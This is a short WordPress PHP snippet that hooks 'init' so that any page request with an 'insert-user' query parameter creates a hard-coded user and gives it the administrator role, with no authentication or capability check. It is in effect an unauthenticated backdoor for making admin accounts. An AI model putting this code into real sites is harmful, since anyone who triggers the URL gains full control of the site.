add_action('init', function() {

	if ( isset($_GET['insert-user']) ) {
		$username = 'cafsantos';
		$password = 'xxxxxxxxxxxxx';
		$email = 'carlos.santos@xxxxxxxxxxxxx.com';

		// Create the new user
		$user_id = wp_create_user( $username, $password, $email );

		// Get current user object
		$user = get_user_by( 'id', $user_id );

		// Remove role
		$user->remove_role( 'subscriber' );

		// Add role
		$user->add_role( 'administrator' );

		echo 'done';
		exit;

	}

});